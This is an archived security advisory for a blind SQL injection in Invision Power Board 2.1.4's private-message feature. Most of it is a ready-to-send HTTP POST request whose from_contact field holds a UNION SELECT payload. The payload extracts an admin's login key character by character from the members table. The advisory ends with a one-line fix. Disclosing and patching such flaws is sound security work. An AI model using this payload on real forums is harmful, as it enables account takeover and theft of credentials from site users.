Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: b06-1905.htm

SQL injection exploit IPB <= 2.1.4



SQL injection exploit IPB <= 2.1.4
SQL injection exploit IPB <= 2.1.4



This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested.=0D
=0D
Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful).=0D
=0D
To exploit this, make a request to send a PM, but include a value in the request so that =0D
=0D
from_contact==0D
=0D
Here is an example request:=0D
=0D
Host: localhost=0D
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7=0D
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5=0D
Accept-Language: en,en-us;q=0.5=0D
Accept-Encoding: gzip,deflate=0D
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7=0D
Keep-Alive: 300=0D
Connection: keep-alive=0D
Referer: http://localhost/ipb/index.php?act=msg=0D 
Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109=0D
Content-Type: application/x-www-form-urlencoded=0D
Content-Length: 438=0D
=0D
removeattachid=0&OID=&act=Msg&CODE=04&MODE=01&post_key=1f40fdcbdc94fc9c1a402e2019f2b314&auth_key=bcb2b3362c8fa575e58cd376ab4fb6be&MAX_FILE_SIZE=51200000&entered_name=asdfasdfasdf&carbon_copy=&msg_title=asdfasdfasdf&ffont=0&fsize=0&Post=asdfasdfasdfasdfasdf&from_contact=-1+UNION+SELECT+0%2C+CHAR%28110%2C117%2C116%2C105%2C99%2C117%2C108%2C117%2C115%29+FROM+ibf_members+WHERE+id%3D1+AND+MID%28member_login_key%2C+2%2C+1%29+%3D+CHAR%2848%29=0D
=0D
Using an injection like this someone's pass hash could be easily deduced.=0D
=0D
Simple fix: intval($this->to_by_id)


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH